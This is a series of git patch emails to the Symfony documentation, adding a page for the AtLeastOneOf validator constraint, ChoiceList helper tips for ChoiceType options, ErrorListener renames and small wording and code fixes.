Date: Tue, 24 Mar 2020 09:35:27 +0100
Subject: [PATCH 0538/7107] derive view_timezone from model_timezone

---
 reference/forms/types/time.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 2c22f94da49..aca9905f985 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -165,6 +165,9 @@ based on this date.
 
 .. include:: /reference/forms/types/options/view_timezone.rst.inc
 
+When no `reference_date`_ is set the ``view_timezone`` defaults to the
+configured `model_timezone`_.
+
 .. caution::
 
     When using different values for `model_timezone`_ and ``view_timezone``,

From 5ba5224d1658775ae95a7b89a75b9277feddc35d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Przemys=C5=82aw=20Bogusz?= <przemyslaw.bogusz@tubotax.pl>
Date: Mon, 23 Mar 2020 21:31:08 +0100
Subject: [PATCH 0539/7107] [Validator] Add description for AtLeastOne
 constraint

---
 reference/constraints.rst              |   1 +
 reference/constraints/AtLeastOneOf.rst | 195 +++++++++++++++++++++++++
 reference/constraints/map.rst.inc      |   1 +
 3 files changed, 197 insertions(+)
 create mode 100644 reference/constraints/AtLeastOneOf.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 760c0199b89..faa5ed3cac2 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -63,6 +63,7 @@ Validation Constraints Reference
    constraints/Isbn
    constraints/Issn
 
+   constraints/AtLeastOneOf
    constraints/Sequentially
    constraints/Compound
    constraints/Callback
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
new file mode 100644
index 00000000000..e3c7e1ecd68
--- /dev/null
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -0,0 +1,195 @@
+AtLeastOneOf
+============
+
+This constraint enables you to create a set of constraints,
+allowing to interrupt the validation once the first constraint is satisfied.
+
+.. versionadded:: 5.1
+
+    The ``AtLeastOneOf`` constraint was introduced in Symfony 5.1.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Options     - `constraints`_
+            - `includeInternalMessages`_
+            - `message`_
+            - `messageCollection`_
+            - `groups`_
+            - `payload`_
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOf`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOfValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraints ensure that:
+
+* the ``password`` of a ``Student`` either contains ``#`` or is at least ``10`` characters long
+* the ``grades`` of a ``Student`` is an array which contains at least ``3`` elements or
+  that each element is greater than or equal to ``5``
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Student.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Student
+        {
+            /**
+             * @Assert\AtLeastOneOf({
+             *     @Assert\Regex("/#/"),
+             *     @Assert\Length(min=10)
+             * })
+             */
+            protected $password;
+
+            /**
+             * @Assert\AtLeastOneOf({
+             *     @Assert\Count(min=3),
+             *     @Assert\All(
+             *         @Assert\GreaterThanOrEqual(5)
+             *     )
+             * })
+             */
+            protected $grades;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Student:
+            properties:
+                password:
+                    - AtLeastOneOf:
+                        - Regex: '/#/'
+                        - Length:
+                            min: 10
+                grades:
+                    - AtLeastOneOf:
+                        - Count:
+                            min: 3
+                        - All:
+                            - GreaterThanOrEqual: 5
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Student">
+                <property name="password">
+                    <constraint name="AtLeastOneOf">
+                        <option name="constraints">
+                            <constraint name="Regex">
+                                <option name="pattern">/#/</option>
+                            </constraint>
+                            <constraint name="Length">
+                                <option name="min">10</option>
+                            </constraint>
+                        </option>
+                    </constraint>
+                </property>
+                <property name="grades">
+                    <constraint name="AtLeastOneOf">
+                        <option name="constraints">
+                            <constraint name="Count">
+                                <option name="min">3</option>
+                            </constraint>
+                            <constraint name="All">
+                                <option name="constraints">
+                                    <constraint name="GreaterThanOrEqual">
+                                        5
+                                    </constraint>
+                                </option>
+                            </constraint>
+                        </option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Student.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Student
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf([
+                    'constraints' => [
+                        new Assert\Regex(['pattern' => '/#/']),
+                        new Assert\Length(['min' => 10]),
+                    ],
+                ]));
+
+                $metadata->addPropertyConstraint('grades', new Assert\AtLeastOneOf([
+                    'constraints' => [
+                        new Assert\Count(['min' => 3]),
+                        new Assert\All([
+                            'constraints' => [
+                                new Assert\GreaterThanOrEqual(['value' => 5]),
+                            ],
+                        ]),
+                    ],
+                ]));
+            }
+        }
+
+Options
+-------
+
+constraints
+~~~~~~~~~~~
+
+**type**: ``array`` [:ref:`default option <validation-default-option>`]
+
+This required option is the array of validation constraints from which at least one of
+has to be satisfied in order for the validation to succeed.
+
+includeInternalMessages
+~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``bool`` **default**: ``true``
+
+If set to ``true``, the message that is shown if the validation fails,
+will include the list of messages for the internal constraints. See option
+`message`_ for an example.
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value should satisfy at least one of the following constraints:``
+
+This is the intro of the message that will be shown if the validation fails. By default,
+it will be followed by the list of messages for the internal constraints
+(configurable by `includeInternalMessages`_ option) . For example,
+if the above ``grades`` property fails to validate, the message will be
+``This value should satisfy at least one of the following constraints:
+[1] This collection should contain 3 elements or more.
+[2] Each element of this collection should satisfy its own set of constraints.``
+
+messageCollection
+~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``Each element of this collection should satisfy its own set of constraints.``
+
+This is the message that will be shown if the validation fails
+and the internal constraint is either :doc:`/reference/constraints/All`
+or :doc:`/reference/constraints/Collection`. See option `message`_ for an example.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index dbc6a3b5d74..05e820db8ee 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -84,6 +84,7 @@ Financial and other Number Constraints
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
+* :doc:`AtLeastOneOf </reference/constraints/AtLeastOneOf>`
 * :doc:`Sequentially </reference/constraints/Sequentially>`
 * :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`

From d7e87f63d5ffee1c2e99811095c126e6b69be7f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Mar 2020 12:36:15 +0100
Subject: [PATCH 0540/7107] Minor tweaks

---
 reference/constraints/AtLeastOneOf.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index e3c7e1ecd68..6a48c44a4fd 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -1,8 +1,8 @@
 AtLeastOneOf
 ============
 
-This constraint enables you to create a set of constraints,
-allowing to interrupt the validation once the first constraint is satisfied.
+This constraint checks that the value satisfies at least one of the given
+constraints. The validation stops as soon as one constraint is satisfied.
 
 .. versionadded:: 5.1
 
@@ -25,9 +25,10 @@ Basic Usage
 
 The following constraints ensure that:
 
-* the ``password`` of a ``Student`` either contains ``#`` or is at least ``10`` characters long
-* the ``grades`` of a ``Student`` is an array which contains at least ``3`` elements or
-  that each element is greater than or equal to ``5``
+* the ``password`` of a ``Student`` either contains ``#`` or is at least ``10``
+  characters long;
+* the ``grades`` of a ``Student`` is an array which contains at least ``3``
+  elements or that each element is greater than or equal to ``5``.
 
 .. configuration-block::
 

From cbe6270c16caf20d04443412ad8e53cc6cb8685a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Agust=C3=ADn=20Pacheco=20Di=20Santi?=
 <61388677+APachecoDiSanti@users.noreply.github.com>
Date: Sat, 21 Mar 2020 13:52:12 -0300
Subject: [PATCH 0541/7107] Replace ExceptionListener uses with ErrorListener

---
 create_framework/dependency_injection.rst         | 4 ++--
 create_framework/http_kernel_httpkernel_class.rst | 8 ++++----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index 385ce02caee..b38241e3ce2 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -27,7 +27,7 @@ to it::
             $argumentResolver = new HttpKernel\Controller\ArgumentResolver();
 
             $dispatcher = new EventDispatcher();
-            $dispatcher->addSubscriber(new HttpKernel\EventListener\ExceptionListener(
+            $dispatcher->addSubscriber(new HttpKernel\EventListener\ErrorListener(
                 'Calendar\Controller\ErrorController::exception'
             ));
             $dispatcher->addSubscriber(new HttpKernel\EventListener\RouterListener($matcher, $requestStack));
@@ -124,7 +124,7 @@ Create a new file to host the dependency injection container configuration::
     $containerBuilder->register('listener.response', HttpKernel\EventListener\ResponseListener::class)
         ->setArguments(['UTF-8'])
     ;
-    $containerBuilder->register('listener.exception', HttpKernel\EventListener\ExceptionListener::class)
+    $containerBuilder->register('listener.exception', HttpKernel\EventListener\ErrorListener::class)
         ->setArguments(['Calendar\Controller\ErrorController::exception'])
     ;
     $containerBuilder->register('dispatcher', EventDispatcher\EventDispatcher::class)
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 96bda4df692..1cf76830abd 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -66,7 +66,7 @@ framework: it matches the incoming request and populates the request
 attributes with route parameters.
 
 Our code is now much more concise and surprisingly more robust and more
-powerful than ever. For instance, use the built-in ``ExceptionListener`` to
+powerful than ever. For instance, use the built-in ``ErrorListener`` to
 make your error management configurable::
 
     $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception) {
@@ -74,14 +74,14 @@ make your error management configurable::
 
         return new Response($msg, $exception->getStatusCode());
     };
-    $dispatcher->addSubscriber(new HttpKernel\EventListener\ExceptionListener($errorHandler));
+    $dispatcher->addSubscriber(new HttpKernel\EventListener\ErrorListener($errorHandler));
 
-``ExceptionListener`` gives you a ``FlattenException`` instance instead of the
+``ErrorListener`` gives you a ``FlattenException`` instance instead of the
 thrown ``Exception`` or ``Error`` instance to ease exception manipulation and
 display. It can take any valid controller as an exception handler, so you can
 create an ErrorController class instead of using a Closure::
 
-    $listener = new HttpKernel\EventListener\ExceptionListener(
+    $listener = new HttpKernel\EventListener\ErrorListener(
         'Calendar\Controller\ErrorController::exception'
     );
     $dispatcher->addSubscriber($listener);

From d4bb765f305d4892319ff9c9271f3ed061b41f10 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Agust=C3=ADn=20Pacheco=20Di=20Santi?=
 <61388677+APachecoDiSanti@users.noreply.github.com>
Date: Sat, 21 Mar 2020 13:52:12 -0300
Subject: [PATCH 0542/7107] Replace ExceptionListener uses with ErrorListener

---
 create_framework/dependency_injection.rst         | 4 ++--
 create_framework/http_kernel_httpkernel_class.rst | 8 ++++----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index 385ce02caee..b38241e3ce2 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -27,7 +27,7 @@ to it::
             $argumentResolver = new HttpKernel\Controller\ArgumentResolver();
 
             $dispatcher = new EventDispatcher();
-            $dispatcher->addSubscriber(new HttpKernel\EventListener\ExceptionListener(
+            $dispatcher->addSubscriber(new HttpKernel\EventListener\ErrorListener(
                 'Calendar\Controller\ErrorController::exception'
             ));
             $dispatcher->addSubscriber(new HttpKernel\EventListener\RouterListener($matcher, $requestStack));
@@ -124,7 +124,7 @@ Create a new file to host the dependency injection container configuration::
     $containerBuilder->register('listener.response', HttpKernel\EventListener\ResponseListener::class)
         ->setArguments(['UTF-8'])
     ;
-    $containerBuilder->register('listener.exception', HttpKernel\EventListener\ExceptionListener::class)
+    $containerBuilder->register('listener.exception', HttpKernel\EventListener\ErrorListener::class)
         ->setArguments(['Calendar\Controller\ErrorController::exception'])
     ;
     $containerBuilder->register('dispatcher', EventDispatcher\EventDispatcher::class)
diff --git a/create_framework/http_kernel_httpkernel_class.rst b/create_framework/http_kernel_httpkernel_class.rst
index 96bda4df692..1cf76830abd 100644
--- a/create_framework/http_kernel_httpkernel_class.rst
+++ b/create_framework/http_kernel_httpkernel_class.rst
@@ -66,7 +66,7 @@ framework: it matches the incoming request and populates the request
 attributes with route parameters.
 
 Our code is now much more concise and surprisingly more robust and more
-powerful than ever. For instance, use the built-in ``ExceptionListener`` to
+powerful than ever. For instance, use the built-in ``ErrorListener`` to
 make your error management configurable::
 
     $errorHandler = function (Symfony\Component\ErrorHandler\Exception\FlattenException $exception) {
@@ -74,14 +74,14 @@ make your error management configurable::
 
         return new Response($msg, $exception->getStatusCode());
     };
-    $dispatcher->addSubscriber(new HttpKernel\EventListener\ExceptionListener($errorHandler));
+    $dispatcher->addSubscriber(new HttpKernel\EventListener\ErrorListener($errorHandler));
 
-``ExceptionListener`` gives you a ``FlattenException`` instance instead of the
+``ErrorListener`` gives you a ``FlattenException`` instance instead of the
 thrown ``Exception`` or ``Error`` instance to ease exception manipulation and
 display. It can take any valid controller as an exception handler, so you can
 create an ErrorController class instead of using a Closure::
 
-    $listener = new HttpKernel\EventListener\ExceptionListener(
+    $listener = new HttpKernel\EventListener\ErrorListener(
         'Calendar\Controller\ErrorController::exception'
     );
     $dispatcher->addSubscriber($listener);

From 9fc18e7d3c0e603ff43bcd0d06484712a7a808c4 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Tue, 18 Feb 2020 20:35:09 +0100
Subject: [PATCH 0543/7107] [Form] added the new `ChoiceList` class to
 configure `ChoiceType` options

---
 reference/forms/types/choice.rst              | 31 ++------
 .../forms/types/options/choice_attr.rst.inc   | 17 +++++
 .../forms/types/options/choice_label.rst.inc  | 14 ++++
 .../forms/types/options/choice_loader.rst.inc | 75 +++++++++++++++++++
 .../forms/types/options/choice_name.rst.inc   | 16 +++-
 .../forms/types/options/choice_value.rst.inc  | 14 ++++
 .../forms/types/options/group_by.rst.inc      | 14 ++++
 .../types/options/preferred_choices.rst.inc   | 14 ++++
 8 files changed, 170 insertions(+), 25 deletions(-)
 create mode 100644 reference/forms/types/options/choice_loader.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index d90173eb2e6..3b4f6bbe7b5 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -181,6 +181,11 @@ To get fancier, use the `group_by`_ option instead.
 Field Options
 -------------
 
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class has
+    been introduced in Symfony 5.1, to help configuring choices options.
+
 choices
 ~~~~~~~
 
@@ -211,31 +216,9 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_label.rst.inc
 
-choice_loader
-~~~~~~~~~~~~~
-
-**type**: :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
-
-The ``choice_loader`` can be used to only partially load the choices in cases where
-a fully-loaded list is not necessary. This is only needed in advanced cases and
-would replace the ``choices`` option.
-
-You can use an instance of :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\CallbackChoiceLoader`
-if you want to take advantage of lazy loading::
-
-    use Symfony\Component\Form\ChoiceList\Loader\CallbackChoiceLoader;
-    use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
-    // ...
-
-    $builder->add('constants', ChoiceType::class, [
-        'choice_loader' => new CallbackChoiceLoader(function() {
-            return StaticClass::getConstants();
-        }),
-    ]);
+.. _reference-form-choice-loader:
 
-This will cause the call of ``StaticClass::getConstants()`` to not happen if the
-request is redirected and if there is no pre set or submitted data. Otherwise
-the choice options would need to be resolved thus triggering the callback.
+.. include:: /reference/forms/types/options/choice_loader.rst.inc
 
 .. include:: /reference/forms/types/options/choice_name.rst.inc
 
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index ac149f3999d..1c9f5138d66 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -24,3 +24,20 @@ If an array, the keys of the ``choices`` array must be used as keys::
             return ['class' => 'attending_'.strtolower($key)];
         },
     ]);
+
+.. tip::
+
+    When defining a custom type, you should use the
+    :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class helper::
+
+        use App\Entity\Category;
+        use Symfony\Component\Form\ChoiceList\ChoiceList;
+
+        // ...
+        $builder->add('choices', ChoiceType::class, [
+            'choice_label' => ChoiceList::attr($this, function (?Category $category) {
+                return $category ? ['data-uuid' => $category->getUuid()] : [];
+            }),
+        ]);
+
+    See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
diff --git a/reference/forms/types/options/choice_label.rst.inc b/reference/forms/types/options/choice_label.rst.inc
index 53cd469b916..6cfac9323ae 100644
--- a/reference/forms/types/options/choice_label.rst.inc
+++ b/reference/forms/types/options/choice_label.rst.inc
@@ -53,3 +53,17 @@ If your choice values are objects, then ``choice_label`` can also be a
 
 If set to ``false``, all the tag labels will be discarded for radio or checkbox
 inputs. You can also return ``false`` from the callable to discard certain labels.
+
+.. tip::
+
+    When defining a custom type, you should use the
+    :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class helper::
+
+        use Symfony\Component\Form\ChoiceList\ChoiceList;
+
+        // ...
+        $builder->add('choices', ChoiceType::class, [
+            'choice_label' => ChoiceList::label($this, 'displayName'),
+        ]);
+
+    See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
new file mode 100644
index 00000000000..35a9e86cd81
--- /dev/null
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -0,0 +1,75 @@
+choice_loader
+~~~~~~~~~~~~~
+
+**type**: :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
+
+The ``choice_loader`` can be used instead of ``choices`` option. It allows to
+create a list lazily or partially when fetching only the choices for a set of
+submitted values (i.e. querying a search engine like ``ElasticSearch`` can be
+a heavy process).
+
+You can use an instance of :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\CallbackChoiceLoader`
+if you want to take advantage of lazy loading::
+
+    use App\StaticClass;
+    use Symfony\Component\Form\ChoiceList\Loader\CallbackChoiceLoader;
+    use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
+    // ...
+
+    $builder->add('loaded_choices', ChoiceType::class, [
+        'choice_loader' => new CallbackChoiceLoader(function() {
+            return StaticClass::getConstants();
+        }),
+    ]);
+
+This will cause the call of ``StaticClass::getConstants()`` to not happen if the
+request is redirected and if there is no pre set or submitted data. Otherwise
+the choice options would need to be resolved thus triggering the callback.
+
+When you're defining a custom choice type that may be reused in many fields
+(like entries of a collection) or reused in multiple forms at once, you
+should use the :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList`
+static methods to wrap the loader and make the choice list cacheable for
+better performance::
+
+    use App\Form\ChoiceList\CustomChoiceLoader;
+    use App\StaticClass;
+    use Symfony\Component\Form\AbstractType;
+    use Symfony\Component\Form\ChoiceList\ChoiceList;
+    use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
+    use Symfony\Component\OptionsResolver\Options;
+    use Symfony\Component\OptionsResolver\OptionsResolver;
+
+    class ConstantsType extends AbstractType
+    {
+        public static function getExtendedTypes(): iterable
+        {
+            return [ChoiceType::class];
+        }
+
+        public function configureOptions(OptionsResolver $resolver)
+        {
+            $resolver->setDefaults([
+                // the example below will create a CallbackChoiceLoader from the callable
+                'choice_loader' => ChoiceList::lazy($this, function() {
+                    return StaticClass::getConstants();
+                }),
+
+                // you can pass your own loader as well, depending on other options
+                'some_key' => null,
+                'choice_loader' => function (Options $options) {
+                    return ChoiceList::loader(
+                        // pass the instance of the type or type extension which is
+                        // currently configuring the choice list as first argument
+                        $this,
+                        // pass the other option to the loader
+                        new CustomChoiceLoader($options['some_key']),
+                        // ensure the type stores a loader per key
+                        // by using the special third argument "$vary"
+                        // an array containing anything that "changes" the loader
+                        [$options['some_key']]
+                    );
+                },
+            ]);
+        }
+    }
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index a01341b5418..4ec8abb6ffe 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -5,12 +5,26 @@
 
 Controls the internal field name of the choice. You normally don't care about this,
 but in some advanced cases, you might. For example, this "name" becomes the index
-of the choice views in the template and is used as part o the field name
+of the choice views in the template and is used as part of the field name
 attribute.
 
 This can be a callable or a property path. See `choice_label`_ for similar usage.
 By default, the choice key or an incrementing integer may be used (starting at ``0``).
 
+.. tip::
+
+    When defining a custom type, you should use the
+    :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class helper::
+
+        use Symfony\Component\Form\ChoiceList\ChoiceList;
+
+        // ...
+        $builder->add('choices', ChoiceType::class, [
+            'choice_name' => ChoiceList::fieldName($this, 'name'),
+        ]);
+
+    See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
+
 .. caution::
 
     The configured value must be a valid form name. Make sure to only return
diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc
index a37a36cf299..13bc324cd2a 100644
--- a/reference/forms/types/options/choice_value.rst.inc
+++ b/reference/forms/types/options/choice_value.rst.inc
@@ -18,3 +18,17 @@ for each choice or ``null`` in a placeholder is used, which you need to handle::
     'choice_value' => function (?MyOptionEntity $entity) {
         return $entity ? $entity->getId() : '';
     },
+
+.. tip::
+
+    When defining a custom type, you should use the
+    :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class helper::
+
+        use Symfony\Component\Form\ChoiceList\ChoiceList;
+
+        // ...
+        $builder->add('choices', ChoiceType::class, [
+            'choice_value' => ChoiceList::value($this, 'uuid'),
+        ]);
+
+    See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
diff --git a/reference/forms/types/options/group_by.rst.inc b/reference/forms/types/options/group_by.rst.inc
index b649793e9ff..ca747683662 100644
--- a/reference/forms/types/options/group_by.rst.inc
+++ b/reference/forms/types/options/group_by.rst.inc
@@ -40,3 +40,17 @@ a "Later" ``<optgroup>``:
 If you return ``null``, the option won't be grouped. You can also pass a string
 "property path" that will be called to get the group. See the `choice_label`_ for
 details about using a property path.
+
+.. tip::
+
+    When defining a custom type, you should use the
+    :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class helper::
+
+        use Symfony\Component\Form\ChoiceList\ChoiceList;
+
+        // ...
+        $builder->add('choices', ChoiceType::class, [
+            'group_by' => ChoiceList::groupBy($this, 'category'),
+        ]);
+
+    See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc
index 36a800c1c9b..bffb021f864 100644
--- a/reference/forms/types/options/preferred_choices.rst.inc
+++ b/reference/forms/types/options/preferred_choices.rst.inc
@@ -63,3 +63,17 @@ when rendering the field:
         <?= $view['form']->widget($form['publishAt'], [
             'separator' => '=====',
         ]) ?>
+
+.. tip::
+
+    When defining a custom type, you should use the
+    :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class helper::
+
+        use Symfony\Component\Form\ChoiceList\ChoiceList;
+
+        // ...
+        $builder->add('choices', ChoiceType::class, [
+            'preferred_choices' => ChoiceList::preferred($this, 'taggedAsFavorite'),
+        ]);
+
+    See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.

From 82cdf17ade612880d10b32abad664b50fbd2c83f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Mar 2020 12:56:35 +0100
Subject: [PATCH 0544/7107] Tweak

---
 reference/forms/types/choice.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3b4f6bbe7b5..98fab9bf9b0 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -183,8 +183,8 @@ Field Options
 
 .. versionadded:: 5.1
 
-    The :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class has
-    been introduced in Symfony 5.1, to help configuring choices options.
+    The :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class was
+    introduced in Symfony 5.1, to help configuring choices options.
 
 choices
 ~~~~~~~

From 1a3ae2e71d96d26d97765f1df08b52c601b4fa16 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Mar 2020 12:57:50 +0100
Subject: [PATCH 0545/7107] Minor grammar fix

---
 reference/forms/types/options/choice_loader.rst.inc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 35a9e86cd81..c44601ed3eb 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -3,10 +3,10 @@ choice_loader
 
 **type**: :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
 
-The ``choice_loader`` can be used instead of ``choices`` option. It allows to
-create a list lazily or partially when fetching only the choices for a set of
-submitted values (i.e. querying a search engine like ``ElasticSearch`` can be
-a heavy process).
+The ``choice_loader`` option can be used instead of the ``choices`` option. It
+allows to create a list lazily or partially when fetching only the choices for a
+set of submitted values (i.e. querying a search engine like ``ElasticSearch``
+can be a heavy process).
 
 You can use an instance of :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\CallbackChoiceLoader`
 if you want to take advantage of lazy loading::

From 6bcc093d6f60dc136d3690ed7c3b09de014b7961 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Mar 2020 09:46:51 +0100
Subject: [PATCH 0546/7107] [Form] Improved the explanation of
 choice_self_translation

---
 reference/forms/types/language.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index e521ac21b60..bf2c99789f8 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -84,12 +84,14 @@ choice_self_translation
 
     The ``choice_self_translation`` option was introduced in Symfony 5.1.
 
-By default, the choice values are translated into the locale of the application.
-For example, when using ``en`` as the locale, you'll get an array like
-``[..., 'cs' => 'Czech', ..., 'es' => 'Spanish', ..., 'zh' => 'Chinese']``.
-
-If this option is ``true``, each choice value is translated into its own
-language. The resulting array is the same regardless of the application locale:
+By default, language names are translated into the current locale of the
+application. For example, when browsing the application in English, you'll get
+an array like ``[..., 'cs' => 'Czech', ..., 'es' => 'Spanish', ..., 'zh' => 'Chinese']``
+and when browsing it in French, you'll get the following array:
+``[..., 'cs' => 'tchèque', ..., 'es' => 'espagnol', ..., 'zh' => 'chinois']``.
+
+If this option is ``true``, each language is translated into its own language,
+regardless of the current application locale:
 ``[..., 'cs' => 'čeština', ..., 'es' => 'español', ..., 'zh' => '中文']``.
 
 .. include:: /reference/forms/types/options/choice_translation_locale.rst.inc

From ea6470d358dde78a72bd67b81b08bc53b1631807 Mon Sep 17 00:00:00 2001
From: Nico <nlemoine@users.noreply.github.com>
Date: Thu, 26 Mar 2020 11:28:39 +0100
Subject: [PATCH 0547/7107] Fix $slugger call

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 18d0fee4be8..b2360426785 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -255,7 +255,7 @@ logic to a separate service::
         public function upload(UploadedFile $file)
         {
             $originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
-            $safeFilename = $slugger->slug($originalFilename);
+            $safeFilename = $this->slugger->slug($originalFilename);
             $fileName = $safeFilename.'-'.uniqid().'.'.$file->guessExtension();
 
             try {

From fbf258930156330cbd5f65872f9f6881730cbfc1 Mon Sep 17 00:00:00 2001
From: M#3 <zspine@users.noreply.github.com>
Date: Fri, 27 Mar 2020 14:33:58 +0530
Subject: [PATCH 0548/7107] Typo sent instead of send

---
 notifier/texters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier/texters.rst b/notifier/texters.rst
index 12505cacfa1..897d02df4b4 100644
--- a/notifier/texters.rst
